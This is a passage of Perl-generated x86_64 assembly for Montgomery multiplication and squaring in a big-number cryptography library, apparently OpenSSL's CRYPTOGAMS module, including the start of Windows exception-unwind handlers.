np[j]*m1\n\tadd\t%rax,$N[1]\n\tmov\t($ap,$j,8),%rax\n\tadc\t\\$0,%rdx\n\tadd\t$A[1],$N[1]\n\tadc\t\\$0,%rdx\n\tmov\t$N[1],-16(%rsp,$j,8)\t# tp[j-1]\n\tmov\t%rdx,$N[0]\n\n\tmulq\t$m0\t\t\t# ap[j]*bp[i]\n\tadd\t%rax,$A[0]\n\tmov\t($np,$j,8),%rax\n\tadc\t\\$0,%rdx\n\tadd\t(%rsp,$j,8),$A[0]\t# ap[j]*bp[i]+tp[j]\n\tadc\t\\$0,%rdx\n\tmov\t%rdx,$A[1]\n\n\tmulq\t$m1\t\t\t# np[j]*m1\n\tadd\t%rax,$N[0]\n\tmov\t8($ap,$j,8),%rax\n\tadc\t\\$0,%rdx\n\tadd\t$A[0],$N[0]\n\tadc\t\\$0,%rdx\n\tmov\t$N[0],-8(%rsp,$j,8)\t# tp[j-1]\n\tmov\t%rdx,$N[1]\n\n\tmulq\t$m0\t\t\t# ap[j]*bp[i]\n\tadd\t%rax,$A[1]\n\tmov\t8($np,$j,8),%rax\n\tadc\t\\$0,%rdx\n\tadd\t8(%rsp,$j,8),$A[1]\n\tadc\t\\$0,%rdx\n\tlea\t4($j),$j\t\t# j++\n\tmov\t%rdx,$A[0]\n\n\tmulq\t$m1\t\t\t# np[j]*m1\n\tadd\t%rax,$N[1]\n\tmov\t-16($ap,$j,8),%rax\n\tadc\t\\$0,%rdx\n\tadd\t$A[1],$N[1]\n\tadc\t\\$0,%rdx\n\tmov\t$N[1],-32(%rsp,$j,8)\t# tp[j-1]\n\tmov\t%rdx,$N[0]\n\tcmp\t$num,$j\n\tjb\t.Linner4x\n\n\tmulq\t$m0\t\t\t# ap[j]*bp[i]\n\tadd\t%rax,$A[0]\n\tmov\t-16($np,$j,8),%rax\n\tadc\t\\$0,%rdx\n\tadd\t-16(%rsp,$j,8),$A[0]\t# ap[j]*bp[i]+tp[j]\n\tadc\t\\$0,%rdx\n\tmov\t%rdx,$A[1]\n\n\tmulq\t$m1\t\t\t# np[j]*m1\n\tadd\t%rax,$N[0]\n\tmov\t-8($ap,$j,8),%rax\n\tadc\t\\$0,%rdx\n\tadd\t$A[0],$N[0]\n\tadc\t\\$0,%rdx\n\tmov\t$N[0],-24(%rsp,$j,8)\t# tp[j-1]\n\tmov\t%rdx,$N[1]\n\n\tmulq\t$m0\t\t\t# ap[j]*bp[i]\n\tadd\t%rax,$A[1]\n\tmov\t-8($np,$j,8),%rax\n\tadc\t\\$0,%rdx\n\tadd\t-8(%rsp,$j,8),$A[1]\n\tadc\t\\$0,%rdx\n\tlea\t1($i),$i\t\t# i++\n\tmov\t%rdx,$A[0]\n\n\tmulq\t$m1\t\t\t# np[j]*m1\n\tadd\t%rax,$N[1]\n\tmov\t($ap),%rax\t\t# ap[0]\n\tadc\t\\$0,%rdx\n\tadd\t$A[1],$N[1]\n\tadc\t\\$0,%rdx\n\tmov\t$N[1],-16(%rsp,$j,8)\t# tp[j-1]\n\tmov\t%rdx,$N[0]\n\n\txor\t$N[1],$N[1]\n\tadd\t$A[0],$N[0]\n\tadc\t\\$0,$N[1]\n\tadd\t(%rsp,$num,8),$N[0]\t# pull upmost overflow bit\n\tadc\t\\$0,$N[1]\n\tmov\t$N[0],-8(%rsp,$j,8)\n\tmov\t$N[1],(%rsp,$j,8)\t# store upmost overflow bit\n\n\tcmp\t$num,$i\n\tjb\t.Louter4x\n___\n{\nmy @ri=(\"%rax\",\"%rdx\",$m0,$m1);\n$code.=<<___;\n\tmov\t16(%rsp,$num,8),$rp\t# restore $rp\n\tmov\t0(%rsp),@ri[0]\t\t# tp[0]\n\tpxor\t%xmm0,%xmm0\n\tmov\t8(%rsp),@ri[1]\t\t# tp[1]\n\tshr\t\\$2,$num\t\t# num/=4\n\tlea\t(%rsp),$ap\t\t# borrow ap for tp\n\txor\t$i,$i\t\t\t# i=0 and clear CF!\n\n\tsub\t0($np),@ri[0]\n\tmov\t16($ap),@ri[2]\t\t# tp[2]\n\tmov\t24($ap),@ri[3]\t\t# tp[3]\n\tsbb\t8($np),@ri[1]\n\tlea\t-1($num),$j\t\t# j=num/4-1\n\tjmp\t.Lsub4x\n.align\t16\n.Lsub4x:\n\tmov\t@ri[0],0($rp,$i,8)\t# rp[i]=tp[i]-np[i]\n\tmov\t@ri[1],8($rp,$i,8)\t# rp[i]=tp[i]-np[i]\n\tsbb\t16($np,$i,8),@ri[2]\n\tmov\t32($ap,$i,8),@ri[0]\t# tp[i+1]\n\tmov\t40($ap,$i,8),@ri[1]\n\tsbb\t24($np,$i,8),@ri[3]\n\tmov\t@ri[2],16($rp,$i,8)\t# rp[i]=tp[i]-np[i]\n\tmov\t@ri[3],24($rp,$i,8)\t# rp[i]=tp[i]-np[i]\n\tsbb\t32($np,$i,8),@ri[0]\n\tmov\t48($ap,$i,8),@ri[2]\n\tmov\t56($ap,$i,8),@ri[3]\n\tsbb\t40($np,$i,8),@ri[1]\n\tlea\t4($i),$i\t\t# i++\n\tdec\t$j\t\t\t# doesnn't affect CF!\n\tjnz\t.Lsub4x\n\n\tmov\t@ri[0],0($rp,$i,8)\t# rp[i]=tp[i]-np[i]\n\tmov\t32($ap,$i,8),@ri[0]\t# load overflow bit\n\tsbb\t16($np,$i,8),@ri[2]\n\tmov\t@ri[1],8($rp,$i,8)\t# rp[i]=tp[i]-np[i]\n\tsbb\t24($np,$i,8),@ri[3]\n\tmov\t@ri[2],16($rp,$i,8)\t# rp[i]=tp[i]-np[i]\n\n\tsbb\t\\$0,@ri[0]\t\t# handle upmost overflow bit\n\tmov\t@ri[3],24($rp,$i,8)\t# rp[i]=tp[i]-np[i]\n\txor\t$i,$i\t\t\t# i=0\n\tand\t@ri[0],$ap\n\tnot\t@ri[0]\n\tmov\t$rp,$np\n\tand\t@ri[0],$np\n\tlea\t-1($num),$j\n\tor\t$np,$ap\t\t\t# ap=borrow?tp:rp\n\n\tmovdqu\t($ap),%xmm1\n\tmovdqa\t%xmm0,(%rsp)\n\tmovdqu\t%xmm1,($rp)\n\tjmp\t.Lcopy4x\n.align\t16\n.Lcopy4x:\t\t\t\t\t# copy or in-place refresh\n\tmovdqu\t16($ap,$i),%xmm2\n\tmovdqu\t32($ap,$i),%xmm1\n\tmovdqa\t%xmm0,16(%rsp,$i)\n\tmovdqu\t%xmm2,16($rp,$i)\n\tmovdqa\t%xmm0,32(%rsp,$i)\n\tmovdqu\t%xmm1,32($rp,$i)\n\tlea\t32($i),$i\n\tdec\t$j\n\tjnz\t.Lcopy4x\n\n\tshl\t\\$2,$num\n\tmovdqu\t16($ap,$i),%xmm2\n\tmovdqa\t%xmm0,16(%rsp,$i)\n\tmovdqu\t%xmm2,16($rp,$i)\n___\n}\n$code.=<<___;\n\tmov\t8(%rsp,$num,8),%rsi\t# restore %rsp\n\tmov\t\\$1,%rax\n\tmov\t-48(%rsi),%r15\n\tmov\t-40(%rsi),%r14\n\tmov\t-32(%rsi),%r13\n\tmov\t-24(%rsi),%r12\n\tmov\t-16(%rsi),%rbp\n\tmov\t-8(%rsi),%rbx\n\tlea\t(%rsi),%rsp\n.Lmul4x_epilogue:\n\tret\n.size\tbn_mul4x_mont,.-bn_mul4x_mont\n___\n}}}\n\f{{{\n######################################################################\n# void bn_sqr8x_mont(\nmy $rptr=\"%rdi\";\t# const BN_ULONG *rptr,\nmy $aptr=\"%rsi\";\t# const BN_ULONG *aptr,\nmy $bptr=\"%rdx\";\t# not used\nmy $nptr=\"%rcx\";\t# const BN_ULONG *nptr,\nmy $n0 =\"%r8\";\t\t# const BN_ULONG *n0);\nmy $num =\"%r9\";\t\t# int num, has to be divisible by 8\n\nmy ($i,$j,$tptr)=(\"%rbp\",\"%rcx\",$rptr);\nmy @A0=(\"%r10\",\"%r11\");\nmy @A1=(\"%r12\",\"%r13\");\nmy ($a0,$a1,$ai)=(\"%r14\",\"%r15\",\"%rbx\");\n\n$code.=<<___\tif ($addx);\n.extern\tbn_sqrx8x_internal\t\t# see x86_64-mont5 module\n___\n$code.=<<___;\n.extern\tbn_sqr8x_internal\t\t# see x86_64-mont5 module\n\n.type\tbn_sqr8x_mont,\\@function,6\n.align\t32\nbn_sqr8x_mont:\n\tmov\t%rsp,%rax\n.Lsqr8x_enter:\n\tpush\t%rbx\n\tpush\t%rbp\n\tpush\t%r12\n\tpush\t%r13\n\tpush\t%r14\n\tpush\t%r15\n.Lsqr8x_prologue:\n\n\tmov\t${num}d,%r10d\n\tshl\t\\$3,${num}d\t\t# convert $num to bytes\n\tshl\t\\$3+2,%r10\t\t# 4*$num\n\tneg\t$num\n\n\t##############################################################\n\t# ensure that stack frame doesn't alias with $aptr modulo\n\t# 4096. this is done to allow memory disambiguation logic\n\t# do its job.\n\t#\n\tlea\t-64(%rsp,$num,2),%r11\n\tmov\t%rsp,%rbp\n\tmov\t($n0),$n0\t\t# *n0\n\tsub\t$aptr,%r11\n\tand\t\\$4095,%r11\n\tcmp\t%r11,%r10\n\tjb\t.Lsqr8x_sp_alt\n\tsub\t%r11,%rbp\t\t# align with $aptr\n\tlea\t-64(%rbp,$num,2),%rbp\t# future alloca(frame+2*$num)\n\tjmp\t.Lsqr8x_sp_done\n\n.align\t32\n.Lsqr8x_sp_alt:\n\tlea\t4096-64(,$num,2),%r10\t# 4096-frame-2*$num\n\tlea\t-64(%rbp,$num,2),%rbp\t# future alloca(frame+2*$num)\n\tsub\t%r10,%r11\n\tmov\t\\$0,%r10\n\tcmovc\t%r10,%r11\n\tsub\t%r11,%rbp\n.Lsqr8x_sp_done:\n\tand\t\\$-64,%rbp\n\tmov\t%rsp,%r11\n\tsub\t%rbp,%r11\n\tand\t\\$-4096,%r11\n\tlea\t(%rbp,%r11),%rsp\n\tmov\t(%rsp),%r10\n\tcmp\t%rbp,%rsp\n\tja\t.Lsqr8x_page_walk\n\tjmp\t.Lsqr8x_page_walk_done\n\n.align\t16\n.Lsqr8x_page_walk:\n\tlea\t-4096(%rsp),%rsp\n\tmov\t(%rsp),%r10\n\tcmp\t%rbp,%rsp\n\tja\t.Lsqr8x_page_walk\n.Lsqr8x_page_walk_done:\n\n\tmov\t$num,%r10\n\tneg\t$num\n\n\tmov\t$n0, 32(%rsp)\n\tmov\t%rax, 40(%rsp)\t\t# save original %rsp\n.Lsqr8x_body:\n\n\tmovq\t$nptr, %xmm2\t\t# save pointer to modulus\n\tpxor\t%xmm0,%xmm0\n\tmovq\t$rptr,%xmm1\t\t# save $rptr\n\tmovq\t%r10, %xmm3\t\t# -$num\n___\n$code.=<<___ if ($addx);\n\tmov\tOPENSSL_ia32cap_P+8(%rip),%eax\n\tand\t\\$0x80100,%eax\n\tcmp\t\\$0x80100,%eax\n\tjne\t.Lsqr8x_nox\n\n\tcall\tbn_sqrx8x_internal\t# see x86_64-mont5 module\n\t\t\t\t\t# %rax\ttop-most carry\n\t\t\t\t\t# %rbp\tnptr\n\t\t\t\t\t# %rcx\t-8*num\n\t\t\t\t\t# %r8\tend of tp[2*num]\n\tlea\t(%r8,%rcx),%rbx\n\tmov\t%rcx,$num\n\tmov\t%rcx,%rdx\n\tmovq\t%xmm1,$rptr\n\tsar\t\\$3+2,%rcx\t\t# %cf=0\n\tjmp\t.Lsqr8x_sub\n\n.align\t32\n.Lsqr8x_nox:\n___\n$code.=<<___;\n\tcall\tbn_sqr8x_internal\t# see x86_64-mont5 module\n\t\t\t\t\t# %rax\ttop-most carry\n\t\t\t\t\t# %rbp\tnptr\n\t\t\t\t\t# %r8\t-8*num\n\t\t\t\t\t# %rdi\tend of tp[2*num]\n\tlea\t(%rdi,$num),%rbx\n\tmov\t$num,%rcx\n\tmov\t$num,%rdx\n\tmovq\t%xmm1,$rptr\n\tsar\t\\$3+2,%rcx\t\t# %cf=0\n\tjmp\t.Lsqr8x_sub\n\n.align\t32\n.Lsqr8x_sub:\n\tmov\t8*0(%rbx),%r12\n\tmov\t8*1(%rbx),%r13\n\tmov\t8*2(%rbx),%r14\n\tmov\t8*3(%rbx),%r15\n\tlea\t8*4(%rbx),%rbx\n\tsbb\t8*0(%rbp),%r12\n\tsbb\t8*1(%rbp),%r13\n\tsbb\t8*2(%rbp),%r14\n\tsbb\t8*3(%rbp),%r15\n\tlea\t8*4(%rbp),%rbp\n\tmov\t%r12,8*0($rptr)\n\tmov\t%r13,8*1($rptr)\n\tmov\t%r14,8*2($rptr)\n\tmov\t%r15,8*3($rptr)\n\tlea\t8*4($rptr),$rptr\n\tinc\t%rcx\t\t\t# preserves %cf\n\tjnz\t.Lsqr8x_sub\n\n\tsbb\t\\$0,%rax\t\t# top-most carry\n\tlea\t(%rbx,$num),%rbx\t# rewind\n\tlea\t($rptr,$num),$rptr\t# rewind\n\n\tmovq\t%rax,%xmm1\n\tpxor\t%xmm0,%xmm0\n\tpshufd\t\\$0,%xmm1,%xmm1\n\tmov\t40(%rsp),%rsi\t\t# restore %rsp\n\tjmp\t.Lsqr8x_cond_copy\n\n.align\t32\n.Lsqr8x_cond_copy:\n\tmovdqa\t16*0(%rbx),%xmm2\n\tmovdqa\t16*1(%rbx),%xmm3\n\tlea\t16*2(%rbx),%rbx\n\tmovdqu\t16*0($rptr),%xmm4\n\tmovdqu\t16*1($rptr),%xmm5\n\tlea\t16*2($rptr),$rptr\n\tmovdqa\t%xmm0,-16*2(%rbx)\t# zero tp\n\tmovdqa\t%xmm0,-16*1(%rbx)\n\tmovdqa\t%xmm0,-16*2(%rbx,%rdx)\n\tmovdqa\t%xmm0,-16*1(%rbx,%rdx)\n\tpcmpeqd\t%xmm1,%xmm0\n\tpand\t%xmm1,%xmm2\n\tpand\t%xmm1,%xmm3\n\tpand\t%xmm0,%xmm4\n\tpand\t%xmm0,%xmm5\n\tpxor\t%xmm0,%xmm0\n\tpor\t%xmm2,%xmm4\n\tpor\t%xmm3,%xmm5\n\tmovdqu\t%xmm4,-16*2($rptr)\n\tmovdqu\t%xmm5,-16*1($rptr)\n\tadd\t\\$32,$num\n\tjnz\t.Lsqr8x_cond_copy\n\n\tmov\t\\$1,%rax\n\tmov\t-48(%rsi),%r15\n\tmov\t-40(%rsi),%r14\n\tmov\t-32(%rsi),%r13\n\tmov\t-24(%rsi),%r12\n\tmov\t-16(%rsi),%rbp\n\tmov\t-8(%rsi),%rbx\n\tlea\t(%rsi),%rsp\n.Lsqr8x_epilogue:\n\tret\n.size\tbn_sqr8x_mont,.-bn_sqr8x_mont\n___\n}}}\n\f\nif ($addx) {{{\nmy $bp=\"%rdx\";\t# original value\n\n$code.=<<___;\n.type\tbn_mulx4x_mont,\\@function,6\n.align\t32\nbn_mulx4x_mont:\n\tmov\t%rsp,%rax\n.Lmulx4x_enter:\n\tpush\t%rbx\n\tpush\t%rbp\n\tpush\t%r12\n\tpush\t%r13\n\tpush\t%r14\n\tpush\t%r15\n.Lmulx4x_prologue:\n\n\tshl\t\\$3,${num}d\t\t# convert $num to bytes\n\txor\t%r10,%r10\n\tsub\t$num,%r10\t\t# -$num\n\tmov\t($n0),$n0\t\t# *n0\n\tlea\t-72(%rsp,%r10),%rbp\t# future alloca(frame+$num+8)\n\tand\t\\$-128,%rbp\n\tmov\t%rsp,%r11\n\tsub\t%rbp,%r11\n\tand\t\\$-4096,%r11\n\tlea\t(%rbp,%r11),%rsp\n\tmov\t(%rsp),%r10\n\tcmp\t%rbp,%rsp\n\tja\t.Lmulx4x_page_walk\n\tjmp\t.Lmulx4x_page_walk_done\n\n.align\t16\n.Lmulx4x_page_walk:\n\tlea\t-4096(%rsp),%rsp\n\tmov\t(%rsp),%r10\n\tcmp\t%rbp,%rsp\n\tja\t.Lmulx4x_page_walk\n.Lmulx4x_page_walk_done:\n\n\tlea\t($bp,$num),%r10\n\t##############################################################\n\t# Stack layout\n\t# +0\tnum\n\t# +8\toff-loaded &b[i]\n\t# +16\tend of b[num]\n\t# +24\tsaved n0\n\t# +32\tsaved rp\n\t# +40\tsaved %rsp\n\t# +48\tinner counter\n\t# +56\n\t# +64\ttmp[num+1]\n\t#\n\tmov\t$num,0(%rsp)\t\t# save $num\n\tshr\t\\$5,$num\n\tmov\t%r10,16(%rsp)\t\t# end of b[num]\n\tsub\t\\$1,$num\n\tmov\t$n0, 24(%rsp)\t\t# save *n0\n\tmov\t$rp, 32(%rsp)\t\t# save $rp\n\tmov\t%rax,40(%rsp)\t\t# save original %rsp\n\tmov\t$num,48(%rsp)\t\t# inner counter\n\tjmp\t.Lmulx4x_body\n\n.align\t32\n.Lmulx4x_body:\n___\nmy ($aptr, $bptr, $nptr, $tptr, $mi, $bi, $zero, $num)=\n (\"%rsi\",\"%rdi\",\"%rcx\",\"%rbx\",\"%r8\",\"%r9\",\"%rbp\",\"%rax\");\nmy $rptr=$bptr;\n$code.=<<___;\n\tlea\t8($bp),$bptr\n\tmov\t($bp),%rdx\t\t# b[0], $bp==%rdx actually\n\tlea\t64+32(%rsp),$tptr\n\tmov\t%rdx,$bi\n\n\tmulx\t0*8($aptr),$mi,%rax\t# a[0]*b[0]\n\tmulx\t1*8($aptr),%r11,%r14\t# a[1]*b[0]\n\tadd\t%rax,%r11\n\tmov\t$bptr,8(%rsp)\t\t# off-load &b[i]\n\tmulx\t2*8($aptr),%r12,%r13\t# ...\n\tadc\t%r14,%r12\n\tadc\t\\$0,%r13\n\n\tmov\t$mi,$bptr\t\t# borrow $bptr\n\timulq\t24(%rsp),$mi\t\t# \"t[0]\"*n0\n\txor\t$zero,$zero\t\t# cf=0, of=0\n\n\tmulx\t3*8($aptr),%rax,%r14\n\t mov\t$mi,%rdx\n\tlea\t4*8($aptr),$aptr\n\tadcx\t%rax,%r13\n\tadcx\t$zero,%r14\t\t# cf=0\n\n\tmulx\t0*8($nptr),%rax,%r10\n\tadcx\t%rax,$bptr\t\t# discarded\n\tadox\t%r11,%r10\n\tmulx\t1*8($nptr),%rax,%r11\n\tadcx\t%rax,%r10\n\tadox\t%r12,%r11\n\t.byte\t0xc4,0x62,0xfb,0xf6,0xa1,0x10,0x00,0x00,0x00\t# mulx\t2*8($nptr),%rax,%r12\n\tmov\t48(%rsp),$bptr\t\t# counter value\n\tmov\t%r10,-4*8($tptr)\n\tadcx\t%rax,%r11\n\tadox\t%r13,%r12\n\tmulx\t3*8($nptr),%rax,%r15\n\t mov\t$bi,%rdx\n\tmov\t%r11,-3*8($tptr)\n\tadcx\t%rax,%r12\n\tadox\t$zero,%r15\t\t# of=0\n\tlea\t4*8($nptr),$nptr\n\tmov\t%r12,-2*8($tptr)\n\n\tjmp\t.Lmulx4x_1st\n\n.align\t32\n.Lmulx4x_1st:\n\tadcx\t$zero,%r15\t\t# cf=0, modulo-scheduled\n\tmulx\t0*8($aptr),%r10,%rax\t# a[4]*b[0]\n\tadcx\t%r14,%r10\n\tmulx\t1*8($aptr),%r11,%r14\t# a[5]*b[0]\n\tadcx\t%rax,%r11\n\tmulx\t2*8($aptr),%r12,%rax\t# ...\n\tadcx\t%r14,%r12\n\tmulx\t3*8($aptr),%r13,%r14\n\t .byte\t0x67,0x67\n\t mov\t$mi,%rdx\n\tadcx\t%rax,%r13\n\tadcx\t$zero,%r14\t\t# cf=0\n\tlea\t4*8($aptr),$aptr\n\tlea\t4*8($tptr),$tptr\n\n\tadox\t%r15,%r10\n\tmulx\t0*8($nptr),%rax,%r15\n\tadcx\t%rax,%r10\n\tadox\t%r15,%r11\n\tmulx\t1*8($nptr),%rax,%r15\n\tadcx\t%rax,%r11\n\tadox\t%r15,%r12\n\tmulx\t2*8($nptr),%rax,%r15\n\tmov\t%r10,-5*8($tptr)\n\tadcx\t%rax,%r12\n\tmov\t%r11,-4*8($tptr)\n\tadox\t%r15,%r13\n\tmulx\t3*8($nptr),%rax,%r15\n\t mov\t$bi,%rdx\n\tmov\t%r12,-3*8($tptr)\n\tadcx\t%rax,%r13\n\tadox\t$zero,%r15\n\tlea\t4*8($nptr),$nptr\n\tmov\t%r13,-2*8($tptr)\n\n\tdec\t$bptr\t\t\t# of=0, pass cf\n\tjnz\t.Lmulx4x_1st\n\n\tmov\t0(%rsp),$num\t\t# load num\n\tmov\t8(%rsp),$bptr\t\t# re-load &b[i]\n\tadc\t$zero,%r15\t\t# modulo-scheduled\n\tadd\t%r15,%r14\n\tsbb\t%r15,%r15\t\t# top-most carry\n\tmov\t%r14,-1*8($tptr)\n\tjmp\t.Lmulx4x_outer\n\n.align\t32\n.Lmulx4x_outer:\n\tmov\t($bptr),%rdx\t\t# b[i]\n\tlea\t8($bptr),$bptr\t\t# b++\n\tsub\t$num,$aptr\t\t# rewind $aptr\n\tmov\t%r15,($tptr)\t\t# save top-most carry\n\tlea\t64+4*8(%rsp),$tptr\n\tsub\t$num,$nptr\t\t# rewind $nptr\n\n\tmulx\t0*8($aptr),$mi,%r11\t# a[0]*b[i]\n\txor\t%ebp,%ebp\t\t# xor\t$zero,$zero\t# cf=0, of=0\n\tmov\t%rdx,$bi\n\tmulx\t1*8($aptr),%r14,%r12\t# a[1]*b[i]\n\tadox\t-4*8($tptr),$mi\n\tadcx\t%r14,%r11\n\tmulx\t2*8($aptr),%r15,%r13\t# ...\n\tadox\t-3*8($tptr),%r11\n\tadcx\t%r15,%r12\n\tadox\t$zero,%r12\n\tadcx\t$zero,%r13\n\n\tmov\t$bptr,8(%rsp)\t\t# off-load &b[i]\n\t.byte\t0x67\n\tmov\t$mi,%r15\n\timulq\t24(%rsp),$mi\t\t# \"t[0]\"*n0\n\txor\t%ebp,%ebp\t\t# xor\t$zero,$zero\t# cf=0, of=0\n\n\tmulx\t3*8($aptr),%rax,%r14\n\t mov\t$mi,%rdx\n\tadox\t-2*8($tptr),%r12\n\tadcx\t%rax,%r13\n\tadox\t-1*8($tptr),%r13\n\tadcx\t$zero,%r14\n\tlea\t4*8($aptr),$aptr\n\tadox\t$zero,%r14\n\n\tmulx\t0*8($nptr),%rax,%r10\n\tadcx\t%rax,%r15\t\t# discarded\n\tadox\t%r11,%r10\n\tmulx\t1*8($nptr),%rax,%r11\n\tadcx\t%rax,%r10\n\tadox\t%r12,%r11\n\tmulx\t2*8($nptr),%rax,%r12\n\tmov\t%r10,-4*8($tptr)\n\tadcx\t%rax,%r11\n\tadox\t%r13,%r12\n\tmulx\t3*8($nptr),%rax,%r15\n\t mov\t$bi,%rdx\n\tmov\t%r11,-3*8($tptr)\n\tlea\t4*8($nptr),$nptr\n\tadcx\t%rax,%r12\n\tadox\t$zero,%r15\t\t# of=0\n\tmov\t48(%rsp),$bptr\t\t# counter value\n\tmov\t%r12,-2*8($tptr)\n\n\tjmp\t.Lmulx4x_inner\n\n.align\t32\n.Lmulx4x_inner:\n\tmulx\t0*8($aptr),%r10,%rax\t# a[4]*b[i]\n\tadcx\t$zero,%r15\t\t# cf=0, modulo-scheduled\n\tadox\t%r14,%r10\n\tmulx\t1*8($aptr),%r11,%r14\t# a[5]*b[i]\n\tadcx\t0*8($tptr),%r10\n\tadox\t%rax,%r11\n\tmulx\t2*8($aptr),%r12,%rax\t# ...\n\tadcx\t1*8($tptr),%r11\n\tadox\t%r14,%r12\n\tmulx\t3*8($aptr),%r13,%r14\n\t mov\t$mi,%rdx\n\tadcx\t2*8($tptr),%r12\n\tadox\t%rax,%r13\n\tadcx\t3*8($tptr),%r13\n\tadox\t$zero,%r14\t\t# of=0\n\tlea\t4*8($aptr),$aptr\n\tlea\t4*8($tptr),$tptr\n\tadcx\t$zero,%r14\t\t# cf=0\n\n\tadox\t%r15,%r10\n\tmulx\t0*8($nptr),%rax,%r15\n\tadcx\t%rax,%r10\n\tadox\t%r15,%r11\n\tmulx\t1*8($nptr),%rax,%r15\n\tadcx\t%rax,%r11\n\tadox\t%r15,%r12\n\tmulx\t2*8($nptr),%rax,%r15\n\tmov\t%r10,-5*8($tptr)\n\tadcx\t%rax,%r12\n\tadox\t%r15,%r13\n\tmulx\t3*8($nptr),%rax,%r15\n\t mov\t$bi,%rdx\n\tmov\t%r11,-4*8($tptr)\n\tmov\t%r12,-3*8($tptr)\n\tadcx\t%rax,%r13\n\tadox\t$zero,%r15\n\tlea\t4*8($nptr),$nptr\n\tmov\t%r13,-2*8($tptr)\n\n\tdec\t$bptr\t\t\t# of=0, pass cf\n\tjnz\t.Lmulx4x_inner\n\n\tmov\t0(%rsp),$num\t\t# load num\n\tmov\t8(%rsp),$bptr\t\t# re-load &b[i]\n\tadc\t$zero,%r15\t\t# modulo-scheduled\n\tsub\t0*8($tptr),$zero\t# pull top-most carry\n\tadc\t%r15,%r14\n\tsbb\t%r15,%r15\t\t# top-most carry\n\tmov\t%r14,-1*8($tptr)\n\n\tcmp\t16(%rsp),$bptr\n\tjne\t.Lmulx4x_outer\n\n\tlea\t64(%rsp),$tptr\n\tsub\t$num,$nptr\t\t# rewind $nptr\n\tneg\t%r15\n\tmov\t$num,%rdx\n\tshr\t\\$3+2,$num\t\t# %cf=0\n\tmov\t32(%rsp),$rptr\t\t# restore rp\n\tjmp\t.Lmulx4x_sub\n\n.align\t32\n.Lmulx4x_sub:\n\tmov\t8*0($tptr),%r11\n\tmov\t8*1($tptr),%r12\n\tmov\t8*2($tptr),%r13\n\tmov\t8*3($tptr),%r14\n\tlea\t8*4($tptr),$tptr\n\tsbb\t8*0($nptr),%r11\n\tsbb\t8*1($nptr),%r12\n\tsbb\t8*2($nptr),%r13\n\tsbb\t8*3($nptr),%r14\n\tlea\t8*4($nptr),$nptr\n\tmov\t%r11,8*0($rptr)\n\tmov\t%r12,8*1($rptr)\n\tmov\t%r13,8*2($rptr)\n\tmov\t%r14,8*3($rptr)\n\tlea\t8*4($rptr),$rptr\n\tdec\t$num\t\t\t# preserves %cf\n\tjnz\t.Lmulx4x_sub\n\n\tsbb\t\\$0,%r15\t\t# top-most carry\n\tlea\t64(%rsp),$tptr\n\tsub\t%rdx,$rptr\t\t# rewind\n\n\tmovq\t%r15,%xmm1\n\tpxor\t%xmm0,%xmm0\n\tpshufd\t\\$0,%xmm1,%xmm1\n\tmov\t40(%rsp),%rsi\t\t# restore %rsp\n\tjmp\t.Lmulx4x_cond_copy\n\n.align\t32\n.Lmulx4x_cond_copy:\n\tmovdqa\t16*0($tptr),%xmm2\n\tmovdqa\t16*1($tptr),%xmm3\n\tlea\t16*2($tptr),$tptr\n\tmovdqu\t16*0($rptr),%xmm4\n\tmovdqu\t16*1($rptr),%xmm5\n\tlea\t16*2($rptr),$rptr\n\tmovdqa\t%xmm0,-16*2($tptr)\t# zero tp\n\tmovdqa\t%xmm0,-16*1($tptr)\n\tpcmpeqd\t%xmm1,%xmm0\n\tpand\t%xmm1,%xmm2\n\tpand\t%xmm1,%xmm3\n\tpand\t%xmm0,%xmm4\n\tpand\t%xmm0,%xmm5\n\tpxor\t%xmm0,%xmm0\n\tpor\t%xmm2,%xmm4\n\tpor\t%xmm3,%xmm5\n\tmovdqu\t%xmm4,-16*2($rptr)\n\tmovdqu\t%xmm5,-16*1($rptr)\n\tsub\t\\$32,%rdx\n\tjnz\t.Lmulx4x_cond_copy\n\n\tmov\t%rdx,($tptr)\n\n\tmov\t\\$1,%rax\n\tmov\t-48(%rsi),%r15\n\tmov\t-40(%rsi),%r14\n\tmov\t-32(%rsi),%r13\n\tmov\t-24(%rsi),%r12\n\tmov\t-16(%rsi),%rbp\n\tmov\t-8(%rsi),%rbx\n\tlea\t(%rsi),%rsp\n.Lmulx4x_epilogue:\n\tret\n.size\tbn_mulx4x_mont,.-bn_mulx4x_mont\n___\n}}}\n$code.=<<___;\n.asciz\t\"Montgomery Multiplication for x86_64, CRYPTOGAMS by <appro\\@openssl.org>\"\n.align\t16\n___\n\n# EXCEPTION_DISPOSITION handler (EXCEPTION_RECORD *rec,ULONG64 frame,\n#\t\tCONTEXT *context,DISPATCHER_CONTEXT *disp)\nif ($win64) {\n$rec=\"%rcx\";\n$frame=\"%rdx\";\n$context=\"%r8\";\n$disp=\"%r9\";\n\n$code.=<<___;\n.extern\t__imp_RtlVirtualUnwind\n.type\tmul_handler,\\@abi-omnipotent\n.align\t16\nmul_handler:\n\tpush\t%rsi\n\tpush\t%rdi\n\tpush\t%rbx\n\tpush\t%rbp\n\tpush\t%r12\n\tpush\t%r13\n\tpush\t%r14\n\tpush\t%r15\n\tpushfq\n\tsub\t\\$64,%rsp\n\n\tmov\t120($context),%rax\t# pull context->Rax\n\tmov\t248($context),%rbx\t# pull context->Rip\n\n\tmov\t8($disp),%rsi\t\t# disp->ImageBase\n\tmov\t56($disp),%r11\t\t# disp->HandlerData\n\n\tmov\t0(%r11),%r10d\t\t# HandlerData[0]\n\tlea\t(%rsi,%r10),%r10\t# end of prologue label\n\tcmp\t%r10,%rbx\t\t# context->Rip<end of prologue label\n\tjb\t.Lcommon_seh_tail\n\n\tmov\t152($context),%rax\t# pull context->Rsp\n\n\tmov\t4(%r11),%r10d\t\t# HandlerData[1]\n\tlea\t(%rsi,%r10),%r10\t# epilogue label\n\tcmp\t%r10,%rbx\t\t# context->Rip>=epilogue label\n\tjae\t.Lcommon_seh_tail\n\n\tmov\t192($context),%r10\t# pull $num\n\tmov\t8(%rax,%r10,8),%rax\t# pull saved stack pointer\n\n\tjmp\t.Lcommon_pop_regs\n.size\tmul_handler,.-mul_handler\n\n.type\tsqr_handler,\\@abi-omnipotent\n.align\t16\nsqr_handler:\n\tpush\t%rsi\n\tpush\t%rdi\n\tpush\t%rbx\n\tpush\t%rbp\n\tpush\t%r12\n\tpush\t%r13\n\tpush\t%r14\n\tpush\t%r15\n\tpushfq\n\tsub\t\\$64,%rsp\n\n\tmov\t120($context),%rax\t# pull context->Rax\n\tmov\t248($context),%rbx\t# pull context->Rip\n\n\tmov\t8($disp),%rsi\t\t# disp->ImageBase\n\tmov\t56($disp),%r11\t\t# 